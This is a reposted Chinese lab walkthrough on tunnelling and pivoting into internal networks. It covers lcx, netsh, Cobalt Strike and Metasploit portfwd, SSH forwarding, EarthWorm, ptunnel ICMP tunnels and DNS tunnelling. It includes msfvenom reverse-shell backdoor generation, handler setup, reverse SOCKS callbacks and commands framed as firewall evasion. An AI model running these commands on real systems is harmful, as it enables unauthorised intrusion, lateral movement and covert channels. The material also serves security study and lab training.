目錄
- 介紹
- 1. 什么是隧道?
- 2. 為什么使用隧道?
- 3. 常用的隧道協議有哪些?
- 4. 隧道與代理的區別
- 5. 腦圖概覽
- 埠轉發
- nc
- lcx
- 環境拓撲
- 實操
- netsh
- 環境拓撲
- 實操1
- 實操2—MSF
- cobalt strike正向連接內網
- 環境拓撲
- 準備階段
- 實操
- cobalt strike反向連接內網
- 環境拓撲
- 實操
- Metasploit Portfwd(埠轉發/重定向)
- 環境拓撲
- 準備階段
- 實操
- 轉發win2012的遠程桌面
- 轉發win7的遠程桌面
- 訪問win7的80埠
- SSH
- SSH埠轉發的兩大功能
- SSH本地socks5代理
- SSH本地埠轉發
- SSH遠程埠轉發
- EarthWorm(EW)
- 正向代理
- 反向代理
- ICMP隧道-Ptunnel
- 環境準備
- 實操
- DNS隧道-dns2tcp
- DNS隧道介紹
- dns2tcp介紹
- 實操
- 參考
介紹
1. 什么是隧道?
在實際的網路中,通常會通過各種邊界設備、軟/硬體防火墻甚至入侵檢測系統來檢查對外連接情況,如果發現異樣,就會對通信進行阻斷,那么什么是隧道呢?這里的隧道,就是一種繞過埠屏蔽的通信方式,防火墻兩端的資料包通過防火墻所允許的資料包型別或埠進行封裝,然后穿過防火墻,與對方進行通信,當封裝的資料包到達目的地時,將資料包還原,并將還原后的資料包發送到相應服務器上,
?
在一些網路環境中,如果攻擊者使用各類上層隧道(例如HTTP隧道,DNS隧道,正反向埠轉發等)進行操作均失敗,那么可以嘗試使用ICMP建立隧道,ICMP協議不需要埠的開放,因為其基于IP作業的,所以我們將其歸結到網路層,ICMP訊息最為常見的就是ping命令的回復,將TCP/UDP資料包封裝到ICMP的ping資料包中,從而穿過防火墻(通常防火墻是不會屏蔽ping資料包的)
?
防火墻只允許ping出站流量,利用ptunnel建立ICMP隧道,從而實作傳輸資料,
2. 為什么使用隧道?
在資料通信被攔截的情況下利用隧道技術封裝改變通信協議進行繞過攔截,解決CS、MSF無法上線,資料傳輸不穩定無回顯,出口資料被監控,網路通信存在問題等,
3. 常用的隧道協議有哪些?
網路層:IPv6 隧道、ICMP 隧道
傳輸層:TCP 隧道、UDP 隧道、常規埠轉發
應用層:SSH 隧道、HTTP/S 隧道、DNS 隧道
4. 隧道與代理的區別
代理是為了解決網路通訊問題,如:我在學校,如何連接在網吧的你?我在中國,如何訪問油管?
隧道在代理之上,在建立連接的情況下,如何突破各種網路限制,來建立穩固連接
5. 腦圖概覽

埠轉發
埠映射與埠轉發用于發布防火墻內部的服務器或者防火墻內部的客戶端計算機,有的路由器也有埠映射與埠轉發功能,埠映射與埠轉發實作的功能類似,但又不完全一樣,埠映射是將外網的一個埠完全映射給內網一個地址的指定埠,而埠轉發是將發往外網的一個埠的通信完全轉發給內網一個地址的指定埠,埠映射可以實作外網到內網和內網到外網雙向的通信,而埠轉發只能實作外網到內網的單向通信,
隧道與埠轉發的概念不是很清晰,這里參考:https://hsk.oray.com/news/9757.html
nc
關于nc,參見我之前的文章:https://blog.csdn.net/weixin_44288604/article/details/112888661
關于反彈sehll,參見我之前的文章:https://blog.csdn.net/weixin_44288604/article/details/111740527
lcx
最原始的lcx找不著了,在github上搜索,表現較好的是下面這個
專案地址:https://github.com/cw1997/NATBypass
?
資源串列如下,下載64位的

實驗目標:kali獲取內網主機的3389
環境拓撲
- win7開啟3389遠程桌面
- 分別在win7和win2008上運行lcx

實操
- win7執行如下命令
把自己127.0.0.1的3389轉發到192.168.42.129的6666埠
.\nb-windows-amd64.exe -slave 192.168.42.129:6666 127.0.0.1:3389

- win2008執行如下命令
把6666埠的流量轉發到7777埠
.\nb-windows-amd64.exe -listen 6666 7777

- kali連接win7的3389
kali連接192.168.40.131:7777相當于連接192.168.40.131:6666,相當于192.168.42.128:3389
rdesktop 192.168.40.131:7777

輸入正確是賬號密碼即可連接

netsh
netsh是windows系統自帶的一個命令列工具,這個工具可以內置埠轉發功能
環境拓撲

實操1
實作:當kali訪問win2012的某埠時,可以訪問到內網win7的某埠,
演示:當kali訪問win2012的6666埠時,可以訪問到內網win7的3389埠,
win2012只需要設定為:允許任意主機訪問自己的6666埠時,自己就把流量轉發給win7的3389埠
- 開啟埠轉發,命令如下:
添加埠轉發的命令
netsh interface portproxy add v4tov4 listenport=6666 connectaddress=192.168.195.138 connectport=3389
查看埠轉發的記錄表
netsh interface portproxy show all
清除指定規則
netsh interface portproxy delete v4tov4 listenport=6666
清除所有規則
netsh interface portproxy reset

- 訪問內網機器

實操2—MSF
實驗思路:
- msfvenom生成后門,一旦運行,就自動訪問win2012的4444埠
- win2012開啟埠轉發,只要有人連接自己的6666埠,就轉發給kali的4444埠
- kali監聽4444埠
不知道為什么,這個實驗沒做出來,重置了一下網路,新的網路拓撲如下圖
后續:經過排查得知,是因為win2012開啟了防火墻,導致實驗失敗,關閉防火墻即可,

操作:
- msfvenom生成后門
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.128 lport=6666 -f exe >s.exe
- win2012開啟埠轉發
netsh interface portproxy add v4tov4 listenport=4444 connectaddress=192.168.239.141 connectport=4444

- kali開啟監聽
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.239.141
set lport 4444
exploit
- 運行木馬
- 拿到session

cobalt strike正向連接內網
實驗目標:已經使用cs拿下win2012,如何把win2012作為跳板機去訪問目標win7
環境拓撲

準備階段
- 啟動CS服務器

- 啟動CS客戶端
雙擊start.bat就行了
- 生成payload,讓代理服務器win2012上線
這部分的操作,簡單截個圖算了,詳情參見之前的筆記:語雀地址、CSDN地址
3.1 設定監聽器

3.2 生成powshell

3.3 主機上線

實操
- 新建一個tcp的監聽器

- 生成exe后門

- 把后門丟到win7上,目標win7運行后門
果然開放了4444埠,那么我們只需要通過win2012即可正向連接到win7

- 連接win7
注意,ip和埠之間是沒有冒號的,否則會失敗
connect 10.10.1.129 4444

cobalt strike反向連接內網
如果內網靶機有防火墻進行攔截,那么正向連接就會失敗,為了解決這個問題,就需要使用反向連接,
即:讓內網目標win7反向連接代理服務器win2012
環境拓撲

實操
- 生成監聽器

- 生成后門

- win7運行后門,后門就會主動連接到win2012,cs就會得到win2012的新會話
不知道錯誤原因,先不管了,

- 重置了一下網路,再來操作一遍,發現是第2步中需要指定X64才行

Metasploit Portfwd(埠轉發/重定向)
環境拓撲

準備階段
先拿下win2012
- msf生成后門
msfvenom -p windows/meterpreter/reverse_tcp lport=4455 -f exe >hack.exe
- msf開啟監聽
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.239.141
set lport 4455
exploit
- 把后門丟到win2012,運行它

實操
轉發win2012的遠程桌面
- 開啟win2012的遠程桌面
- 添加埠轉發
portfwd add -l 8080 -r 192.168.239.201 -p 3389

- 實作:訪問本地的8080埠時,訪問到win2012的3389埠

轉發win7的遠程桌面
需要確認win7開啟了3389,否則不能直接搞,
meterpreter > portfwd add -l 5566 -r 10.10.10.131 -p 3389

訪問win7的80埠
實作通過訪問本地的4477埠,訪問到了win7的80埠
portfwd add -l 4477 -r 10.10.10.131 -p 80

方式1:訪問 http://localhost:4477

方式2:訪問 http://192.168.239.141:4477

方式3:可以直接使用BurpSuite

SSH
SSH會自動加密和解密所有SSH客戶端與服務端之間的網路資料,但是,SSH還能夠將其他TCP埠的網路資料通過SSH鏈接來轉發,并且自動提供了回應的解密服務,這一程序也被叫做“隧道”(tunneling),這是因為SSH為其他TCP鏈接提供了一個安全的通道來進行傳輸而得名,例如SMTP、LDAP這些TCP應用均能夠從中得益,避免了用戶名,密碼以及隱私資訊的傳輸,而此同時,如果作業環境中的防火墻限制了一些網路埠的使用,但是允許SSH的連接,也能夠通過將TCP埠轉發來使用SSH進行通訊,
SSH埠轉發的兩大功能
- 加密SSH_Client端至SSH_Server端之間的通訊資料,
- 突破防火墻的限制,完成一些之前無法建立的TCP連接,
SSH本地socks5代理

實作思路:kali連接一臺aws的云服務器,通過它訪問互聯網,突破網路限制,
- 給root設定一個密碼
- 編輯ssh檔案:
vim /etc/ssh/sshd_config PasswordAuthentication no修改為PasswordAuthentication yes- 添加:
PermitRootLogin yes - 重啟ssh服務:
service sshd restart - 以賬號密碼的方式連接云服務器的ssh,如下圖:
ssh -qTfnN -D 7070 root@3.112.252.229
-C 為壓縮資料
-q 安靜模式
-T 禁止遠程分配終端
-n 關閉標準輸入
-N 建立靜默連接,就是建立了連接(不執行登錄shell)
-f 將SSH傳輸放在后臺執行
-D 動態轉發

- 給kali的瀏覽器配置一個socks5代理

- 使用此socks代理,就可以訪問外網了,


SSH本地埠轉發
關于這部分更細致的記錄,參見之前的筆記:語雀地址、CSDN地址

實作:kali能透過Cent7訪問到內網win7的web服務
在kali上執行如下命令:
ssh -L 本地埠:目標IP:目標埠 root@192.168.40.150 -fN
ssh -L 6666:10.10.10.128:80 root@192.168.40.150 -fN
-f 將SSH傳輸放在后臺執行
-N 建立靜默連接,就是建立了連接(不執行登錄shell)

實作:kali能透過Cent7連接win7的遠程桌面
ssh -L 7777:10.10.10.128:3389 root@192.168.40.150 -fN
rdesktop 10.10.10.128:3389

SSH遠程埠轉發
kali希望能訪問到ubuntu的80埠,但是Cent7和ubuntu之間只允許3306埠通信,如何解決?

- 將跳板機Cent7的ssh組態檔:
/etc/ssh/sshd_config中的GatewayPorts修改為yes,沒有的話添加此項內容,之后重啟SSH,
這個配置的作用是,遠程轉發后將127.0.0.1改為0.0.0.0,攻擊者kali就可以通過指定埠就能訪問內網的ubuntu

- Ubuntu開啟遠程埠轉發
實作,任何機器只要連接了跳板機的8866埠,就能轉發到Ubuntu的80埠
ssh -R 8866:10.10.10.131:80 root@10.10.10.130 -fN

- 外網的kali可以訪問內網的Ubuntu

EarthWorm(EW)
EW 是一套便攜式的網路穿透工具,具有 SOCKS v5服務架設和埠轉發兩大核心功能,可在復雜網路環境下完成網路穿透,目前工具已經停止更新(此工具被查殺嚴重),使用方法在下面的鏈接中作者已經介紹了,可以參考
下載地址:https://github.com/idlefire/ew
官方網站:http://rootkiter.com/EarthWorm
?
引數如下:
-s 選擇功能型別:
共包含6種功能:
ssocksd:正向代理
rcsocks:反向代理1,流量轉發
rssocks:反向代理2,反彈socks5
lcx_listen:反向代理1,流量轉發
lcx_tran:埠轉發
lcx_slave:埠系結
-l 指定要監聽的本地埠
-d 指定要反彈到的機器 ip
-e 指定要反彈到的機器埠
-f 指定要主動連接的機器 ip
-g 指定要主動連接的機器埠
-t 指定超時時長,默認為1000
正向代理
環境拓撲如下,kali希望訪問到內網vm2
思路:win2012開啟代理,只有有人連接了自己的9999埠,自己就把它轉發走

- win2012開啟代理
ew_for_Win.exe -s ssocksd -l 9999 //在9999埠上開啟socks代理,ssocksd提供正向代理功能

- kali修改socks代理檔案

- kali訪問內網Ubuntu的80埠

反向代理
環境拓撲如下,kali希望訪問到內網vm2
思路:win7開啟反向代理,反彈socks5到win2012,win2012開啟反向代理,連接win7,再流量轉發功能

- win2012開啟代理轉發(第一步先做這個,如果先做win7會導致win7反彈失敗!)
ew_for_Win.exe -s rcsocks -l 1080 -e 1024

- win7開啟反向代理,反彈socks5到win2012
ew_for_Win.exe -s rssocks -d 10.10.10.129 -e 6666

- kali配置代理

常見埠掃描也是可以的
proxychains4 nmap -Pn -sT -sV 10.10.10.128 -F

ICMP隧道-Ptunnel
如果用戶可以ping通遠程計算機,就可以嘗試建立ICMP隧道,將TCP資料通過該隧道發送,實作不受限的網路訪問,
引數:
-p 代理服務器地址,即跳板機地址
-lp 本地埠
-da 目標內網IP,即我們的目標機IP
-dp 目標埠,即我們要的目標機埠
-c 網卡編號
-v 顯示詳細程序,值可以-1-5,-1為不顯示,5為最詳細
-udp 通過dns協議傳輸,埠為udp53
-x 進入此隧道密碼,如果服務器加該引數,客戶端也需要加同樣引數和值
-f 指定一個日志檔案
網路拓撲如下,攻擊者想要實作和目標之間自由通信(目前只能實作ICMP互通)

環境準備
- 目標使用iptables防火墻,不接收來自攻擊者的tcp型別資料包
iptables -F //清除規則
iptables -A INPUT -p tcp -s 192.168.40.129 -j DROP //添加規則
iptables -L //查看規則

- 目標開啟一個web服務,用來進行測驗

- 測驗如下
代理可以正常訪問

攻擊者訪問失敗

實操
- 代理主機生成一個隧道
sudo ptunnel -x 1234

- 攻擊者透過代理主機的隧道,連接到目標的80埠
sudo ptunnel -p 192.168.40.140 -lp 8080 -da 192.168.40.139 -dp 80 -x 1234


DNS隧道-dns2tcp
DNS隧道介紹
什么是DNS隧道?
DNS隧道(DNS Tunneling)是將其他協議的內容封裝在DNS協議中,然后以DNS請求和回應包完成傳輸資料(通信)的技術,當前網路世界中的DNS是一項必不可少的服務,所以防火墻和入侵檢測設備處于可用性和用戶友好的考慮大都不會過濾DNS流量,也為DNS成為隱蔽信道創造了條件,因此,DNS隧道在僵尸網路和APT攻擊中扮演著重要的角色,
?
DNS隧道的原理
在進行DNS查詢時,如果查詢的域名不在DNS服務器本機的快取中,就會訪問互聯網進行查詢,然后回傳結果,如果在互聯網上有一臺定制的服務器那么依靠DNS協議即可進行資料包的交換,從DNS協議的角度看,這樣的操作只是在一次次查詢某個特定的域名并得到決議結果,但其本質問題是,預期的回傳結果應該是一個IP地址,而事實上不是——回傳的可以是任意字串,包括加密的C&C指令,
?
DNS隧道分為兩種
直連模式:客戶端直接向指定IP地址的DNS服務器發起DNS決議請求
中繼模式:DNS經過互聯網的迭代決議,指向指定的DNS服務器,
?
區別在于直連模式速度相對快,但安全性相對較差,非直連模式速度相對較慢,但安全性相對較高,大多數情況下都使用中繼模式,
(另外直連方式的限制比較多,如目前很多的企業網路為了盡可能的降低遭受網路攻擊的風險,一般將相關策略配置為僅允許與指定的可信任DNS服務器之間的流量通過,)
dns2tcp介紹
dns2tcp是一個利用DNS隧道轉發TCP連接的工具,支持KEY和TXT型別的請求,用C語言開發,它分為兩個部分,服務端和客戶端,服務端運行在inux服務器上,客戶端可以運行在linx和 windows上(其他平臺沒有測驗過),編譯完成后在服務端上的可執行檔案名稱為dns2tcp,在客戶端(linux)上的名稱為dns2tcpc,kali默認安裝了二者,下述為主要引數及解釋,詳情請參考手冊,
實操
需要搞個vps就算了,還得搞個域名,太麻煩,操作參見他人的文章吧:https://blog.csdn.net/smli_ng/article/details/106159155
參考
【內網滲透】搭建隧道
安全攻防 | EarthWorm 代理
ICMP隧道技術
內網隱藏通信隧道技術——DNS隧道
?
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/403895.html
標籤:其他
